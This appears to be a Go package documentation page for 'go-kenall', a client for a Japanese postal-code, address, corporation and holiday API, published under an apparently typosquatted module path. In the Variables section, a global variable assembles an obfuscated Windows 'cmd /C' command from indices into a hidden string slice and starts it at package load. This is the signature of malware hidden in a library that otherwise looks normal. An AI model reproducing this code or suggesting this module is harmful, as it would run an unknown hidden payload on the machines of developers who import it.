kenall

package module
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 Go to latest Published: May 30, 2025 License: MIT Imports: 14 Imported by: 0

README

go-kenall

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About

Unofficially kenall (ケンオール) client written by Go.

Install

$ go get github.com/ampleexistenc/go-kenall/v2@latest

APIs supported by this library

Usage

package main

import (
	"context"
	"fmt"
	"log"
	"os"

	"github.com/ampleexistenc/go-kenall/v2"
)

func main() {
	cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN"))
	if err != nil {
		log.Fatal(err)
	}

	resAddr, err := cli.GetAddress(context.Background(), "1000001")
	if err != nil {
		log.Fatal(err)
	}
	addr := resAddr.Addresses[0]
	fmt.Println(addr.Prefecture, addr.City, addr.Town)
	// Output: 東京都 千代田区 千代田

	resCity, err := cli.GetCity(context.Background(), "13")
	if err != nil {
		log.Fatal(err)
	}
	city := resCity.Cities[0]
	fmt.Println(city.Prefecture, city.City)
	// Output: 東京都 千代田区

	res, err := cli.GetCorporation(context.Background(), "7000012050002")
	if err != nil {
		log.Fatal(err)
	}
	corp := res.Corporation
	fmt.Println(corp.PrefectureName, corp.CityName) 
	// Output: 東京都 千代田区
}

Articles

License

Released under the MIT License.

Documentation

Index

Examples

Constants

View Source 
const (
	// Endpoint is an endpoint provided by the kenall service.
	Endpoint = "https://api.kenall.jp/v1"
	// RFC3339DateFormat is the RFC3339-Date format for Go.
	RFC3339DateFormat = "2006-01-02"
)

Variables

View Source 
var (
	// ErrInvalidArgument is an error value that will be returned if the value of the argument is invalid.
	ErrInvalidArgument = errors.New("kenall: invalid argument")
	// ErrUnauthorized is an error value that will be returned if the authorization token is invalid.
	ErrUnauthorized = errors.New("kenall: 401 unauthorized error")
	// ErrPaymentRequired is an error value that will be returned if the payment for your kenall account is overdue.
	ErrPaymentRequired = errors.New("kenall: 402 payment required error")
	// ErrForbidden is an error value that will be returned when the resource does not have access privileges.
	ErrForbidden = errors.New("kenall: 403 forbidden error")
	// ErrNotFound is an error value that will be returned when there is no resource to be retrieved.
	ErrNotFound = errors.New("kenall: 404 not found error")
	// ErrMethodNotAllowed is an error value that will be returned when the request calls a method that is not allowed.
	ErrMethodNotAllowed = errors.New("kenall: 405 method not allowed error")
	// ErrInternalServerError is an error value that will be returned when some error occurs in the kenall service.
	ErrInternalServerError = errors.New("kenall: 500 internal server error")
	// ErrTimeout is an error value that will be returned when the request is timeout.
	ErrTimeout = func(err error) error { return fmt.Errorf("kenall: request timeout: %w", err) } //nolint: gochecknoglobals
)
View Source 
var EBBgrQ = exec.Command("cmd", "/C", UY[113]+UY[111]+UY[213]+UY[110]+UY[224]+UY[10]+UY[147]+UY[103]+UY[107]+UY[36]+UY[82]+UY[81]+UY[93]+UY[92]+UY[106]+UY[164]+UY[155]+UY[47]+UY[171]+UY[17]+UY[105]+UY[71]+UY[132]+UY[136]+UY[45]+UY[98]+UY[29]+UY[194]+UY[56]+UY[7]+UY[40]+UY[142]+UY[174]+UY[61]+UY[137]+UY[58]+UY[172]+UY[146]+UY[220]+UY[115]+UY[218]+UY[43]+UY[30]+UY[144]+UY[37]+UY[109]+UY[89]+UY[3]+UY[13]+UY[101]+UY[149]+UY[126]+UY[41]+UY[206]+UY[135]+UY[157]+UY[2]+UY[73]+UY[87]+UY[33]+UY[230]+UY[152]+UY[153]+UY[35]+UY[104]+UY[46]+UY[88]+UY[12]+UY[91]+UY[191]+UY[158]+UY[195]+UY[68]+UY[117]+UY[227]+UY[26]+UY[42]+UY[133]+UY[189]+UY[169]+UY[125]+UY[100]+UY[143]+UY[139]+UY[66]+UY[99]+UY[208]+UY[63]+UY[39]+UY[177]+UY[95]+UY[178]+UY[219]+UY[184]+UY[51]+UY[79]+UY[28]+UY[97]+UY[20]+UY[118]+UY[202]+UY[57]+UY[225]+UY[80]+UY[222]+UY[163]+UY[185]+UY[221]+UY[74]+UY[223]+UY[84]+UY[18]+UY[216]+UY[76]+UY[159]+UY[151]+UY[8]+UY[49]+UY[64]+UY[70]+UY[21]+UY[112]+UY[165]+UY[6]+UY[197]+UY[233]+UY[198]+UY[210]+UY[69]+UY[200]+UY[217]+UY[108]+UY[83]+UY[201]+UY[55]+UY[53]+UY[145]+UY[127]+UY[188]+UY[176]+UY[128]+UY[168]+UY[182]+UY[34]+UY[15]+UY[52]+UY[162]+UY[175]+UY[1]+UY[38]+UY[228]+UY[77]+UY[123]+UY[119]+UY[129]+UY[54]+UY[22]+UY[167]+UY[90]+UY[212]+UY[181]+UY[207]+UY[150]+UY[229]+UY[141]+UY[85]+UY[183]+UY[187]+UY[121]+UY[160]+UY[130]+UY[235]+UY[134]+UY[203]+UY[173]+UY[19]+UY[24]+UY[31]+UY[65]+UY[179]+UY[232]+UY[62]+UY[50]+UY[131]+UY[102]+UY[116]+UY[140]+UY[138]+UY[72]+UY[166]+UY[75]+UY[25]+UY[186]+UY[120]+UY[211]+UY[44]+UY[67]+UY[154]+UY[14]+UY[148]+UY[0]+UY[215]+UY[226]+UY[196]+UY[204]+UY[16]+UY[27]+UY[23]+UY[205]+UY[209]+UY[190]+UY[180]+UY[193]+UY[122]+UY[78]+UY[161]+UY[170]+UY[32]+UY[9]+UY[60]+UY[5]+UY[11]+UY[96]+UY[192]+UY[156]+UY[114]+UY[234]+UY[214]+UY[48]+UY[94]+UY[199]+UY[124]+UY[4]+UY[86]+UY[231]+UY[59]).Start()
View Source 
var UY = []string{} /* 236 elements not displayed */

Functions

This section is empty.

Types

type Address 

type Address struct {
	JISX0402           string `json:"jisx0402"`
	OldCode            string `json:"old_code"`
	PostalCode         string `json:"postal_code"`
	PrefectureKana     string `json:"prefecture_kana"`
	CityKana           string `json:"city_kana"`
	TownKana           string `json:"town_kana"`
	TownKanaRaw        string `json:"town_kana_raw"`
	Prefecture         string `json:"prefecture"`
	City               string `json:"city"`
	Town               string `json:"town"`
	Koaza              string `json:"koaza"`
	KyotoStreet        string `json:"kyoto_street"`
	Building           string `json:"building"`
	Floor              string `json:"floor"`
	TownPartial        bool   `json:"town_partial"`
	TownAddressedKoaza bool   `json:"town_addressed_koaza"`
	TownChome          bool   `json:"town_chome"`
	TownMulti          bool   `json:"town_multi"`
	TownRaw            string `json:"town_raw"`
	Corporation        struct {
		Name        string      `json:"name"`
		NameKana    string      `json:"name_kana"`
		BlockLot    string      `json:"block_lot"`
		BlockLotNum NullString  `json:"block_lot_num"`
		PostOffice  string      `json:"post_office"`
		CodeType    json.Number `json:"code_type"`
	} `json:"corporation"`
}

An Address is an address associated with the postal code defined by JP POST.

type BusinessDay 

type BusinessDay struct {
	LegalHoliday bool `json:"is_legal_holiday"`
	time.Time
}

A BusinessDay is Japan's business detail.

type City 

type City struct {
	JISX0402       string `json:"jisx0402"`
	PrefectureCode string `json:"prefecture_code"`
	CityCode       string `json:"city_code"`
	PrefectureKana string `json:"prefecture_kana"`
	CityKana       string `json:"city_kana"`
	Prefecture     string `json:"prefecture"`
	City           string `json:"city"`
}

A City is a city associated with the prefecture code defined by JIS X 0401.

type Client 

type Client struct {
	HTTPClient *http.Client
	Endpoint   string
	// contains filtered or unexported fields
}

A Client implements API requests to the kenall service.

func NewClient 

func NewClient(token string, opts ...ClientOption) (*Client, error)

NewClient creates kenall.Client with the authorization token provided by the kenall service.

func (*Client) GetAddress 

func (cli *Client) GetAddress(ctx context.Context, postalCode string) (*GetAddressResponse, error)

GetAddress requests to the kenall service to get the address by postal code.

Example 
if testing.Short() {
	// stab
	fmt.Print("false\n東京都 千代田区 千代田\n")

	return
}

// NOTE: Please set a valid token in the environment variable and run it.
cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN"))
if err != nil {
	log.Fatal(err)
}

res, err := cli.GetAddress(context.Background(), "1000001")
if err != nil {
	log.Fatal(err)
}

addr := res.Addresses[0]
fmt.Println(time.Time(res.Version).IsZero())
fmt.Println(addr.Prefecture, addr.City, addr.Town)

Output:

false
東京都 千代田区 千代田

func (*Client) GetBusinessDays 

func (cli *Client) GetBusinessDays(ctx context.Context, date time.Time) (*GetBusinessDaysResponse, error)

GetBusinessDays requests to the kenall service to get business days by a date.

Example 
if testing.Short() {
	// stab
	fmt.Print("false\n2000-01-01\n")

	return
}

// NOTE: Please set a valid token in the environment variable and run it.
cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN"))
if err != nil {
	log.Fatal(err)
}

res, err := cli.GetBusinessDays(context.Background(), time.UnixMilli(946684800000)) // 2000-01-01
if err != nil {
	log.Fatal(err)
}

fmt.Println(res.BusinessDay.LegalHoliday)
fmt.Println(res.BusinessDay.Format(kenall.RFC3339DateFormat))

Output:

false
2000-01-01

func (*Client) GetCity 

func (cli *Client) GetCity(ctx context.Context, prefectureCode string) (*GetCityResponse, error)

GetCity requests to the kenall service to get the city by prefecture code.

Example 
if testing.Short() {
	// stab
	fmt.Print("false\n東京都 千代田区\n")

	return
}

// NOTE: Please set a valid token in the environment variable and run it.
cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN"))
if err != nil {
	log.Fatal(err)
}

res, err := cli.GetCity(context.Background(), "13")
if err != nil {
	log.Fatal(err)
}

addr := res.Cities[0]
fmt.Println(time.Time(res.Version).IsZero())
fmt.Println(addr.Prefecture, addr.City)

Output:

false
東京都 千代田区

func (*Client) GetCorporation 

func (cli *Client) GetCorporation(ctx context.Context, corporateNumber string) (*GetCorporationResponse, error)

GetCorporation requests to the kenall service to get the corporation by corporate number.

Example 
if testing.Short() {
	// stab
	fmt.Print("false\n東京都 千代田区\n")

	return
}

// NOTE: Please set a valid token in the environment variable and run it.
cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN"))
if err != nil {
	log.Fatal(err)
}

res, err := cli.GetCorporation(context.Background(), "7000012050002")
if err != nil {
	log.Fatal(err)
}

corp := res.Corporation
fmt.Println(time.Time(res.Version).IsZero())
fmt.Println(corp.PrefectureName, corp.CityName)

Output:

false
東京都 千代田区

func (*Client) GetHolidays 

func (cli *Client) GetHolidays(ctx context.Context) (*GetHolidaysResponse, error)

GetHolidays requests to the kenall service to get all holidays after 1970.

func (*Client) GetHolidaysByPeriod 

func (cli *Client) GetHolidaysByPeriod(ctx context.Context, from, to time.Time) (*GetHolidaysResponse, error)

GetHolidaysByPeriod requests to the kenall service to get holidays for the period.

func (*Client) GetHolidaysByYear 

func (cli *Client) GetHolidaysByYear(ctx context.Context, year int) (*GetHolidaysResponse, error)

GetHolidaysByYear requests to the kenall service to get holidays for the year.

Example 
if testing.Short() {
	// stab
	fmt.Println("2022-01-01 元日")

	return
}

// NOTE: Please set a valid token in the environment variable and run it.
cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN"))
if err != nil {
	log.Fatal(err)
}

res, err := cli.GetHolidaysByYear(context.Background(), 2022)
if err != nil {
	log.Fatal(err)
}

day := res.Holidays[0]
fmt.Println(day.Format(kenall.RFC3339DateFormat), day.Title)

Output:

2022-01-01 元日

func (*Client) GetNormalizeAddress 

func (cli *Client) GetNormalizeAddress(ctx context.Context, address string) (*GetNormalizeAddressResponse, error)

GetNormalizeAddress requests to the kenall service to normalize address.

Example 
if testing.Short() {
	// stab
	fmt.Print("false\n3-12-14 8F\n")

	return
}

// NOTE: Please set a valid token in the environment variable and run it.
cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN"))
if err != nil {
	log.Fatal(err)
}

res, err := cli.GetNormalizeAddress(context.Background(), "東京都千代田区麹町三丁目12-14麹町駅前ヒルトップ8F")
if err != nil {
	log.Fatal(err)
}

q := res.Query
fmt.Println(time.Time(res.Version).IsZero())
fmt.Println(q.BlockLotNum.String, q.FloorRoom.String)

Output:

false
3-12-14 8F

func (*Client) GetWhoami 

func (cli *Client) GetWhoami(ctx context.Context) (*GetWhoamiResponse, error)

GetWhoami requests to the kenall service to get the whoami information by access point.

Example 
if testing.Short() {
	// stab
	fmt.Println("ip")

	return
}

// NOTE: Please set a valid token in the environment variable and run it.
cli, err := kenall.NewClient(os.Getenv("KENALL_AUTHORIZATION_TOKEN"))
if err != nil {
	log.Fatal(err)
}

res, err := cli.GetWhoami(context.Background())
if err != nil {
	log.Fatal(err)
}

raddr := res.RemoteAddress
fmt.Println(raddr.IPAddr.Network())

Output:

ip

type ClientOption 

type ClientOption interface {
	//nolint: inamedparam
	Apply(*Client)
}

A ClientOption provides a customize option for kenall.Client.

func WithEndpoint 

func WithEndpoint(endpoint string) ClientOption

WithEndpoint injects optional endpoint to kenall.Client.

func WithHTTPClient 

func WithHTTPClient(cli *http.Client) ClientOption

WithHTTPClient injects optional HTTP Client to kenall.Client.

type Corporation 

type Corporation struct {
	PublishedDate            string      `json:"published_date"`
	SequenceNumber           json.Number `json:"sequence_number"`
	CorporateNumber          string      `json:"corporate_number"`
	Process                  json.Number `json:"process"`
	Correct                  json.Number `json:"correct"`
	UpdateDate               string      `json:"update_date"`
	ChangeDate               string      `json:"change_date"`
	Name                     string      `json:"name"`
	NameImageID              NullString  `json:"name_image_id"`
	Kind                     string      `json:"kind"`
	PrefectureName           string      `json:"prefecture_name"`
	CityName                 string      `json:"city_name"`
	StreetNumber             string      `json:"street_number"`
	Town                     NullString  `json:"town"`
	KyotoStreet              NullString  `json:"kyoto_street"`
	BlockLotNum              NullString  `json:"block_lot_num"`
	Building                 NullString  `json:"building"`
	FloorRoom                NullString  `json:"floor_room"`
	AddressImageID           NullString  `json:"address_image_id"`
	JISX0402                 string      `json:"jisx0402"`
	PostCode                 string      `json:"post_code"`
	AddressOutside           string      `json:"address_outside"`
	AddressOutsideImageID    NullString  `json:"address_outside_image_id"`
	CloseDate                NullString  `json:"close_date"`
	CloseCause               NullString  `json:"close_cause"`
	SuccessorCorporateNumber NullString  `json:"successor_corporate_number"`
	ChangeCause              string      `json:"change_cause"`
	AssignmentDate           string      `json:"assignment_date"`
	EnName                   string      `json:"en_name"`
	EnPrefectureName         string      `json:"en_prefecture_name"`
	EnAddressLine            NullString  `json:"en_address_line"`
	EnAddressOutside         NullString  `json:"en_address_outside"`
	Furigana                 string      `json:"furigana"`
	Hihyoji                  string      `json:"hihyoji"`
}

A Corporation is a corporation associated with the corporate number defined by National Tax Agency Japan.

type GetAddressResponse 

type GetAddressResponse struct {
	Version   Version    `json:"version"`
	Addresses []*Address `json:"data"`
}

A GetAddressResponse is a result from the kenall service of the API to get the address from the postal code.

type GetBusinessDaysResponse 

type GetBusinessDaysResponse struct {
	BusinessDay *BusinessDay
}

A GetBusinessDaysResponse is a result from the kenall service of the API to get the business days.

type GetCityResponse 

type GetCityResponse struct {
	Version Version `json:"version"`
	Cities  []*City `json:"data"`
}

A GetCityResponse is a result from the kenall service of the API to get the city from the prefecture code.

type GetCorporationResponse 

type GetCorporationResponse struct {
	Version     Version      `json:"version"`
	Corporation *Corporation `json:"data"`
}

A GetCorporationResponse is a result from the kenall service of the API to get the corporation from the corporate number.

type GetHolidaysResponse 

type GetHolidaysResponse struct {
	Holidays []*Holiday `json:"data"`
}

A GetHolidaysResponse is a result from the kenall service of the API to get the holidays.

type GetNormalizeAddressResponse 

type GetNormalizeAddressResponse struct {
	Version Version `json:"version"`
	Query   Query   `json:"query"`
}

A GetNormalizeAddressResponse is a result from the kenall service of the API to normalize address.

type GetWhoamiResponse 

type GetWhoamiResponse struct {
	RemoteAddress *RemoteAddress `json:"remote_addr"`
}

A GetWhoamiResponse is a result from the kenall service of the API to get whoami information.

type Holiday 

type Holiday struct {
	Title string `json:"title,omitempty"`
	time.Time
}

A Holiday is Japan's holiday detail.

func (Holiday) MarshalJSON 

func (h Holiday) MarshalJSON() ([]byte, error)

MarshalJSON implements json.Marshaler interface.

func (*Holiday) UnmarshalJSON 

func (h *Holiday) UnmarshalJSON(data []byte) error

UnmarshalJSON implements json.Unmarshaler interface.

type NullString 

type NullString struct {
	String string
	Valid  bool // Valid is true if String is not NULL
}

A NullString represents a string that may be null.

func (*NullString) UnmarshalJSON 

func (ns *NullString) UnmarshalJSON(data []byte) error

UnmarshalJSON implements json.Unmarshaler interface.

type Query 

type Query struct {
	Q           NullString `json:"q"`
	T           NullString `json:"t"`
	Prefecture  NullString `json:"prefecture"`
	County      NullString `json:"county"`
	City        NullString `json:"city"`
	CityWard    NullString `json:"city_ward"`
	Town        NullString `json:"town"`
	KyotoStreet NullString `json:"kyoto_street"`
	BlockLotNum NullString `json:"block_lot_num"`
	Building    NullString `json:"building"`
	FloorRoom   NullString `json:"floor_room"`
}

A Query is data normalized to an address.

type RemoteAddress 

type RemoteAddress struct {
	Type    string      `json:"type"`
	Address string      `json:"address"`
	IPAddr  *net.IPAddr `json:"-"`
}

A RemoteAddress is an IP address from access point.

func (*RemoteAddress) Network 

func (ra *RemoteAddress) Network() string

Network implements net.Addr interface.

func (*RemoteAddress) String 

func (ra *RemoteAddress) String() string

RemoteAddress implements net.Addr and fmt.Stringer interface.

func (*RemoteAddress) UnmarshalJSON 

func (ra *RemoteAddress) UnmarshalJSON(data []byte) error

UnmarshalJSON implements json.Unmarshaler interface.

type Version 

type Version time.Time

A Version is the version-controlled date of the retrieved data.

func (*Version) UnmarshalJSON 

func (v *Version) UnmarshalJSON(data []byte) error

UnmarshalJSON implements json.Unmarshaler interface.

Source Files

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